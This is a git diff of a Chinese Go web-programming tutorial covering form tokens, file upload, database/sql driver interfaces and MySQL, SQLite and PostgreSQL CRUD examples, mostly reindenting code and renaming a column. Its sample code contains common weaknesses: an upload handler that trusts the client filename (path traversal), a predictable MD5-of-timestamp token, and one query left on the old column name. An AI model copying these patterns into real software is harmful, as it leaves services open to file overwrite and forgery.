+解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时,先检查带有该唯一值的表单是否已经递交过了。如果是,拒绝再次递交;如果不是,则处理表单进行逻辑处理。另外,如果是采用了Ajax模式递交表单的话,当表单递交后,通过javascript来禁用表单的递交按钮。 我继续拿4.2小节的例子优化: ```html - 足球 - 篮球 - 网球 - 用户名: - 密码: - - +足球 +篮球 +网球 +用户名: +密码: + + ``` -我们在模版里面增加了一个隐藏字段`token`,这个值我们通过MD5(时间戳)来获取惟一值,然后我们把这个值存储到服务器端(session来控制,我们将在第六章讲解如何保存),以方便表单提交时比对判定。 +我们在模版里面增加了一个隐藏字段`token`,这个值我们通过MD5(时间戳)来获取唯一值,然后我们把这个值存储到服务器端(session来控制,我们将在第六章讲解如何保存),以方便表单提交时比对判定。 ```Go - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //获取请求的方法 - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //获取请求的方法 + if r.Method == "GET" { + timestamp := strconv.Itoa(time.Now().Nanosecond()) + hashWr := md5.New() + hashWr.Write([]byte(timestamp)) + token := fmt.Sprintf("%x", hashWr.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + //请求的是登陆数据,那么执行登陆的逻辑判断 + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //验证token的合法性 } else { - //请求的是登陆数据,那么执行登陆的逻辑判断 - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - //验证token的合法性 - } else { - //不存在token报错 - } - fmt.Println("username length:", len(r.Form["username"][0])) - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 + //不存在token报错 } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 } +} ``` 上面的代码输出到页面的源码如下: diff --git a/zh/04.5.md b/zh/04.5.md index 4f71bd895..aea46c769 100644 --- a/zh/04.5.md +++ b/zh/04.5.md @@ -4,60 +4,60 @@ 要使表单能够上传文件,首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况: ``` - application/x-www-form-urlencoded 表示在发送前编码所有字符(默认) - multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。 - text/plain 空格转换为 "+" 加号,但不对特殊字符编码。 +application/x-www-form-urlencoded 表示在发送前编码所有字符(默认) +multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。 +text/plain 空格转换为 "+" 加号,但不对特殊字符编码。 ``` 所以,创建新的表单html文件, 命名为upload.gtpl, html代码应该类似于: ```html - - - 上传文件 - - -
- - - -
- - + + + 上传文件 + + +
+ + + +
+ + ``` 在服务器端,我们增加一个handlerFunc: ```Go - http.HandleFunc("/upload", upload) - - // 处理/upload 逻辑 - func upload(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //获取请求的方法 - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("upload.gtpl") - t.Execute(w, token) - } else { - r.ParseMultipartForm(32 << 20) - file, handler, err := r.FormFile("uploadfile") - if err != nil { - fmt.Println(err) - return - } - defer file.Close() - fmt.Fprintf(w, "%v", handler.Header) - f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此处假设当前目录下已存在test目录 - if err != nil { - fmt.Println(err) - return - } - defer f.Close() - io.Copy(f, file) +http.HandleFunc("/upload", upload) + +// 处理/upload 逻辑 +func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //获取请求的方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此处假设当前目录下已存在test目录 + if err != nil { + fmt.Println(err) + return } + defer f.Close() + io.Copy(f, file) } +} ``` 通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。 @@ -72,11 +72,11 @@ 文件handler是multipart.FileHeader,里面存储了如下结构信息 ```Go - type FileHeader struct { - Filename string - Header textproto.MIMEHeader - // contains filtered or unexported fields - } +type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields +} ``` 我们通过上面的实例代码打印出来上传文件的信息如下 @@ -89,66 +89,66 @@ 我们上面的例子演示了如何通过表单上传文件,然后在服务器端处理文件,其实Go支持模拟客户端表单功能支持文件上传,详细用法请看如下示例: ```Go - package main - - import ( - "bytes" - "fmt" - "io" - "io/ioutil" - "mime/multipart" - "net/http" - "os" - ) - - func postFile(filename string, targetUrl string) error { - bodyBuf := &bytes.Buffer{} - bodyWriter := multipart.NewWriter(bodyBuf) - - //关键的一步操作 - fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) - if err != nil { - fmt.Println("error writing to buffer") - return err - } +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + //关键的一步操作 + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } - //打开文件句柄操作 - fh, err := os.Open(filename) - if err != nil { - fmt.Println("error opening file") - return err - } - defer fh.Close() - - //iocopy - _, err = io.Copy(fileWriter, fh) - if err != nil { - return err - } + //打开文件句柄操作 + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + defer fh.Close() + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } - contentType := bodyWriter.FormDataContentType() - bodyWriter.Close() + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() - resp, err := http.Post(targetUrl, contentType, bodyBuf) - if err != nil { - return err - } - defer resp.Body.Close() - resp_body, err := ioutil.ReadAll(resp.Body) - if err != nil { - return err - } - fmt.Println(resp.Status) - fmt.Println(string(resp_body)) - return nil + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err } - - // sample usage - func main() { - target_url := "http://localhost:9090/upload" - filename := "./astaxie.pdf" - postFile(filename, target_url) + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil +} + +// sample usage +func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) +} ``` 上面的例子详细展示了客户端如何向服务器上传一个文件的例子,客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用http的Post方法把缓存传到服务器。 diff --git a/zh/04.6.md b/zh/04.6.md index dd50c6973..8a6b462ec 100644 --- a/zh/04.6.md +++ b/zh/04.6.md @@ -1,5 +1,5 @@ # 4.6 小结 -这一章里面我们学习了Go如何处理表单信息,我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息,考虑到网站安全的重要性,数据过滤就显得相当重要了,因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤,顺带讲一下Go对字符串的正则处理。 +这一章里面我们学习了Go如何处理表单信息,我们通过用户登录、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息,考虑到网站安全的重要性,数据过滤就显得相当重要了,因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤,顺带讲一下Go对字符串的正则处理。 通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。 diff --git a/zh/05.1.md b/zh/05.1.md index f98163f8f..0b336d19e 100644 --- a/zh/05.1.md +++ b/zh/05.1.md @@ -7,25 +7,25 @@ Go与PHP不同的地方是Go官方没有提供数据库驱动,而是为开发 我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的: ```Go - //https://github.com/mattn/go-sqlite3驱动 - func init() { - sql.Register("sqlite3", &SQLiteDriver{}) - } - - //https://github.com/mikespook/mymysql驱动 - // Driver automatically registered in database/sql - var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} - func init() { - Register("SET NAMES utf8") - sql.Register("mymysql", &d) - } +//https://github.com/mattn/go-sqlite3驱动 +func init() { + sql.Register("sqlite3", &SQLiteDriver{}) +} + +//https://github.com/mikespook/mymysql驱动 +// Driver automatically registered in database/sql +var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} +func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) +} ``` 我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。 ```Go - var drivers = make(map[string]driver.Driver) +var drivers = make(map[string]driver.Driver) - drivers[name] = driver +drivers[name] = driver ``` 因此通过database/sql的注册函数可以同时注册多个数据库驱动,只要不重复。 @@ -44,17 +44,17 @@ Go与PHP不同的地方是Go官方没有提供数据库驱动,而是为开发 Driver是一个数据库驱动的接口,他定义了一个method: Open(name string),这个方法返回一个数据库的Conn接口。 ```Go - type Driver interface { - Open(name string) (Conn, error) - } +type Driver interface { + Open(name string) (Conn, error) +} ``` 返回的Conn只能用来进行一次goroutine的操作,也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误 ```Go - ... - go goroutineA (Conn) //执行查询操作 - go goroutineB (Conn) //执行插入操作 - ... +... +go goroutineA (Conn) //执行查询操作 +go goroutineB (Conn) //执行插入操作 +... ``` 上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱,比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。 @@ -64,11 +64,11 @@ Driver是一个数据库驱动的接口,他定义了一个method: Open(name Conn是一个数据库连接的接口定义,他定义了一系列方法,这个Conn只能应用在一个goroutine里面,不能使用在多个goroutine里面,详情请参考上面的说明。 ```Go - type Conn interface { - Prepare(query string) (Stmt, error) - Close() error - Begin() (Tx, error) - } +type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) +} ``` Prepare函数返回与当前连接相关的执行Sql语句的准备状态,可以进行查询、删除等操作。 @@ -80,12 +80,12 @@ Begin函数返回一个代表事务处理的Tx,通过它你可以进行查询, Stmt是一种准备好的状态,和Conn相关联,而且只能应用于一个goroutine中,不能应用于多个goroutine。 ```Go - type Stmt interface { - Close() error - NumInput() int - Exec(args []Value) (Result, error) - Query(args []Value) (Rows, error) - } +type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) +} ``` Close函数关闭当前的链接状态,但是如果当前正在执行query,query还是有效返回rows数据。 @@ -100,10 +100,10 @@ Query函数执行Prepare准备好的sql,传入需要的参数执行select操 事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以 ```Go - type Tx interface { - Commit() error - Rollback() error - } +type Tx interface { + Commit() error + Rollback() error +} ``` 这两个函数一个用来递交一个事务,一个用来回滚事务。 @@ -111,9 +111,9 @@ Query函数执行Prepare准备好的sql,传入需要的参数执行select操 这是一个Conn可选择实现的接口 ```Go - type Execer interface { - Exec(query string, args []Value) (Result, error) - } +type Execer interface { + Exec(query string, args []Value) (Result, error) +} ``` 如果这个接口没有定义,那么在调用DB.Exec,就会首先调用Prepare返回Stmt,然后执行Stmt的Exec,然后关闭Stmt。 @@ -121,24 +121,24 @@ Query函数执行Prepare准备好的sql,传入需要的参数执行select操 这个是执行Update/Insert等操作返回的结果接口定义 ```Go - type Result interface { - LastInsertId() (int64, error) - RowsAffected() (int64, error) - } +type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) +} ``` LastInsertId函数返回由数据库执行插入操作得到的自增ID号。 -RowsAffected函数返回query操作影响的数据条目数。 +RowsAffected函数返回执行Update/Insert等操作影响的数据条目数。 ## driver.Rows Rows是执行查询返回的结果集接口定义 ```Go - type Rows interface { - Columns() []string - Close() error - Next(dest []Value) error - } +type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error +} ``` Columns函数返回查询数据库表的字段信息,这个返回的slice和sql查询的字段一一对应,而不是返回整个表的所有字段。 @@ -151,35 +151,35 @@ Next函数用来返回下一条数据,把数据赋值给dest。dest里面的 RowsAffected其实就是一个int64的别名,但是他实现了Result接口,用来底层实现Result的表示方式 ```Go - type RowsAffected int64 +type RowsAffected int64 - func (RowsAffected) LastInsertId() (int64, error) +func (RowsAffected) LastInsertId() (int64, error) - func (v RowsAffected) RowsAffected() (int64, error) +func (v RowsAffected) RowsAffected() (int64, error) ``` ## driver.Value Value其实就是一个空接口,他可以容纳任何的数据 ```Go - type Value interface{} +type Value interface{} ``` drive的Value是驱动必须能够操作的Value,Value要么是nil,要么是下面的任意一种 ```Go - int64 - float64 - bool - []byte - string [*]除了Rows.Next返回的不能是string. - time.Time +int64 +float64 +bool +[]byte +string [*]除了Rows.Next返回的不能是string. +time.Time ``` ## driver.ValueConverter ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口 ```Go - type ValueConverter interface { - ConvertValue(v interface{}) (Value, error) - } +type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) +} ``` 在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到,这个ValueConverter有很多好处: @@ -191,9 +191,9 @@ ValueConverter接口定义了如何把一个普通的值转化成driver.Value的 Valuer接口定义了返回一个driver.Value的方式 ```Go - type Valuer interface { - Value() (Value, error) - } +type Valuer interface { + Value() (Value, error) +} ``` 很多类型都实现了这个Value方法,用来自身与driver.Value的转化。 @@ -203,15 +203,15 @@ Valuer接口定义了返回一个driver.Value的方式 database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法,用以简化数据库操作,同时内部还建议性地实现一个conn pool。 ```Go - type DB struct { - driver driver.Driver - dsn string - mu sync.Mutex // protects freeConn and closed - freeConn []driver.Conn - closed bool - } +type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool +} ``` -我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池,每次调用conn的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。 +我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行`db.prepare` -> `db.prepareDC`的时候会`defer dc.releaseConn`,然后调用`db.putConn`,也就是把这个连接放入连接池,每次调用`db.conn`的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。 ## links diff --git a/zh/05.2.md b/zh/05.2.md index bc1aaf19d..75b6c8d41 100644 --- a/zh/05.2.md +++ b/zh/05.2.md @@ -18,99 +18,100 @@ Go中支持MySQL的驱动目前比较多,有如下几种,有些是支持data 接下来的几个小节里面我们都将采用同一个数据库表结构:数据库test,用户表userinfo,关联用户信息表userdetail。 ```sql - CREATE TABLE `userinfo` ( - `uid` INT(10) NOT NULL AUTO_INCREMENT, - `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, - `created` DATE NULL DEFAULT NULL, - PRIMARY KEY (`uid`) - ); - - CREATE TABLE `userdetail` ( - `uid` INT(10) NOT NULL DEFAULT '0', - `intro` TEXT NULL, - `profile` TEXT NULL, - PRIMARY KEY (`uid`) - ) +CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) +); + +CREATE TABLE `userdetail` ( + `uid` INT(10) NOT NULL DEFAULT '0', + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +) ``` 如下示例将示范如何使用database/sql接口对数据库表进行增删改查操作 ```Go - package main +package main - import ( - _ "github.com/go-sql-driver/mysql" - "database/sql" - "fmt" - //"time" - ) +import ( + "database/sql" + "fmt" + //"time" - func main() { - db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") - checkErr(err) + _ "github.com/go-sql-driver/mysql" +) - //插入数据 - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") - checkErr(err) +func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) + //插入数据 + stmt, err := db.Prepare("INSERT INTO userinfo SET username=?,department=?,created=?") + checkErr(err) - id, err := res.LastInsertId() - checkErr(err) + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) - fmt.Println(id) - //更新数据 - stmt, err = db.Prepare("update userinfo set username=? where uid=?") - checkErr(err) + id, err := res.LastInsertId() + checkErr(err) - res, err = stmt.Exec("astaxieupdate", id) - checkErr(err) + fmt.Println(id) + //更新数据 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) - affect, err := res.RowsAffected() - checkErr(err) + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) - fmt.Println(affect) + affect, err := res.RowsAffected() + checkErr(err) - //查询数据 - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) + fmt.Println(affect) - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //删除数据 - stmt, err = db.Prepare("delete from userinfo where uid=?") - checkErr(err) + //查询数据 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) - res, err = stmt.Exec(id) + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } - affect, err = res.RowsAffected() - checkErr(err) + //删除数据 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) - fmt.Println(affect) + res, err = stmt.Exec(id) + checkErr(err) - db.Close() + affect, err = res.RowsAffected() + checkErr(err) - } + fmt.Println(affect) - func checkErr(err error) { - if err != nil { - panic(err) - } + db.Close() + +} + +func checkErr(err error) { + if err != nil { + panic(err) } - +} + ``` 通过上面的代码我们可以看出,Go操作Mysql数据库是很方便的。 diff --git a/zh/05.3.md b/zh/05.3.md index da414b0df..04784bbba 100644 --- a/zh/05.3.md +++ b/zh/05.3.md @@ -1,6 +1,6 @@ # 5.3 使用SQLite数据库 -SQLite 是一个开源的嵌入式关系数据库,实现自包容、零配置、支持事务的SQL数据库引擎。其特点是高度便携、使用方便、结构紧凑、高效、可靠。 与其他数据库管理系统不同,SQLite 的安装和运行非常简单,在大多数情况下,只要确保SQLite的二进制文件存在即可开始创建、连接和使用数据库。如果您正在寻找一个嵌入式数据库项目或解决方案,SQLite是绝对值得考虑。SQLite可以是说开源的Access。 +SQLite 是一个开源的嵌入式关系数据库,实现自包容、零配置、支持事务的SQL数据库引擎。其特点是高度便携、使用方便、结构紧凑、高效、可靠。 与其他数据库管理系统不同,SQLite 的安装和运行非常简单,在大多数情况下,只要确保SQLite的二进制文件存在即可开始创建、连接和使用数据库。如果您正在寻找一个嵌入式数据库项目或解决方案,SQLite是绝对值得考虑。SQLite可以说是开源的Access。 ## 驱动 Go支持sqlite的驱动也比较多,但是好多都是不支持database/sql接口的 @@ -15,97 +15,98 @@ Go支持sqlite的驱动也比较多,但是好多都是不支持database/sql接 示例的数据库表结构如下所示,相应的建表SQL: ```sql - CREATE TABLE `userinfo` ( - `uid` INTEGER PRIMARY KEY AUTOINCREMENT, - `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, - `created` DATE NULL - ); - - CREATE TABLE `userdeatail` ( - `uid` INT(10) NULL, - `intro` TEXT NULL, - `profile` TEXT NULL, - PRIMARY KEY (`uid`) - ); +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL +); + +CREATE TABLE `userdetail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +); ``` 看下面Go程序是如何操作数据库表数据:增删改查 ```Go - package main +package main - import ( - "database/sql" - "fmt" - "time" - _ "github.com/mattn/go-sqlite3" - ) +import ( + "database/sql" + "fmt" + "time" + + _ "github.com/mattn/go-sqlite3" +) - func main() { - db, err := sql.Open("sqlite3", "./foo.db") - checkErr(err) +func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) - //插入数据 - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") - checkErr(err) + //插入数据 + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") + checkErr(err) - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) - id, err := res.LastInsertId() - checkErr(err) + id, err := res.LastInsertId() + checkErr(err) - fmt.Println(id) - //更新数据 - stmt, err = db.Prepare("update userinfo set username=? where uid=?") - checkErr(err) + fmt.Println(id) + //更新数据 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) - res, err = stmt.Exec("astaxieupdate", id) - checkErr(err) + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) - affect, err := res.RowsAffected() - checkErr(err) + affect, err := res.RowsAffected() + checkErr(err) - fmt.Println(affect) + fmt.Println(affect) - //查询数据 - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) + //查询数据 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) - for rows.Next() { - var uid int - var username string - var department string - var created time.Time - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //删除数据 - stmt, err = db.Prepare("delete from userinfo where uid=?") + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } - res, err = stmt.Exec(id) - checkErr(err) + //删除数据 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) - affect, err = res.RowsAffected() - checkErr(err) + res, err = stmt.Exec(id) + checkErr(err) - fmt.Println(affect) + affect, err = res.RowsAffected() + checkErr(err) - db.Close() + fmt.Println(affect) - } + db.Close() + +} - func checkErr(err error) { - if err != nil { - panic(err) - } +func checkErr(err error) { + if err != nil { + panic(err) } +} ``` 我们可以看到上面的代码和MySQL例子里面的代码几乎是一模一样的,唯一改变的就是导入的驱动改变了,然后调用`sql.Open`是采用了SQLite的方式打开。 diff --git a/zh/05.4.md b/zh/05.4.md index da81ec06c..7db0ab5b0 100644 --- a/zh/05.4.md +++ b/zh/05.4.md @@ -13,115 +13,116 @@ Go实现的支持PostgreSQL的驱动也很多,因为国外很多人在开发 - https://github.com/jbarham/gopgsqldriver 支持database/sql驱动,纯Go写的 - https://github.com/lxn/go-pgsql 支持database/sql驱动,纯Go写的 -在下面的示例中我采用了第一个驱动,因为它目前使用的人最多,在github上也比较活跃。 +在下面的示例中我采用了第一个驱动,因为它目前使用的人最多,在GitHub上也比较活跃。 ## 实例代码 数据库建表语句: ```sql - CREATE TABLE userinfo - ( - uid serial NOT NULL, - username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, - Created date, - CONSTRAINT userinfo_pkey PRIMARY KEY (uid) - ) - WITH (OIDS=FALSE); - - CREATE TABLE userdeatail - ( - uid integer, - intro character varying(100), - profile character varying(100) - ) - WITH(OIDS=FALSE); +CREATE TABLE userinfo +( + uid serial NOT NULL, + username character varying(100) NOT NULL, + department character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) +) +WITH (OIDS=FALSE); + +CREATE TABLE userdetail +( + uid integer, + intro character varying(100), + profile character varying(100) +) +WITH(OIDS=FALSE); ``` 看下面这个Go如何操作数据库表数据:增删改查 ```Go - package main +package main - import ( - "database/sql" - "fmt" - _ "github.com/lib/pq" - ) +import ( + "database/sql" + "fmt" + + _ "github.com/lib/pq" +) - func main() { - db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") - checkErr(err) +func main() { + db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") + checkErr(err) - //插入数据 - stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) RETURNING uid") - checkErr(err) + //插入数据 + stmt, err := db.Prepare("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) RETURNING uid") + checkErr(err) - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) - //pg不支持这个函数,因为他没有类似MySQL的自增ID - // id, err := res.LastInsertId() - // checkErr(err) - // fmt.Println(id) + //pg不支持这个函数,因为他没有类似MySQL的自增ID + // id, err := res.LastInsertId() + // checkErr(err) + // fmt.Println(id) - var lastInsertId int - err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) - checkErr(err) - fmt.Println("最后插入id =", lastInsertId) + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("最后插入id =", lastInsertId) - //更新数据 - stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") - checkErr(err) + //更新数据 + stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) - res, err = stmt.Exec("astaxieupdate", 1) - checkErr(err) + res, err = stmt.Exec("astaxieupdate", 1) + checkErr(err) - affect, err := res.RowsAffected() - checkErr(err) + affect, err := res.RowsAffected() + checkErr(err) - fmt.Println(affect) + fmt.Println(affect) - //查询数据 - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) + //查询数据 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //删除数据 - stmt, err = db.Prepare("delete from userinfo where uid=$1") + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } - res, err = stmt.Exec(1) - checkErr(err) + //删除数据 + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) - affect, err = res.RowsAffected() - checkErr(err) + res, err = stmt.Exec(1) + checkErr(err) - fmt.Println(affect) + affect, err = res.RowsAffected() + checkErr(err) - db.Close() + fmt.Println(affect) - } + db.Close() + +} - func checkErr(err error) { - if err != nil { - panic(err) - } +func checkErr(err error) { + if err != nil { + panic(err) } +} ``` 从上面的代码我们可以看到,PostgreSQL是通过`$1`,`$2`这种方式来指定要传递的参数,而不是MySQL中的`?`,另外在sql.Open中的dsn信息的格式也与MySQL的驱动中的dsn格式不一样,所以在使用时请注意它们的差异。 diff --git a/zh/05.5.md b/zh/05.5.md index 6db69c673..ed75d06ce 100644 --- a/zh/05.5.md +++ b/zh/05.5.md @@ -34,21 +34,23 @@ beego orm支持go get方式安装,是完全按照Go Style的方式来实现的 首先你需要import相应的数据库驱动包、database/sql标准接口包以及beego orm包,如下所示: ```Go - import ( - "database/sql" - "github.com/astaxie/beego/orm" - _ "github.com/go-sql-driver/mysql" - ) - - func init() { - // 设置默认数据库 - orm.RegisterDataBase("default", "mysql", "root:root@/my_db?charset=utf8", 30) - //注册定义的model +import ( + "database/sql" + "github.com/astaxie/beego/orm" + _ "github.com/go-sql-driver/mysql" +) + +func init() { + //注册驱动 + orm.RegisterDriver("mysql", orm.DRMySQL) + //设置默认数据库 + orm.RegisterDataBase("default", "mysql", 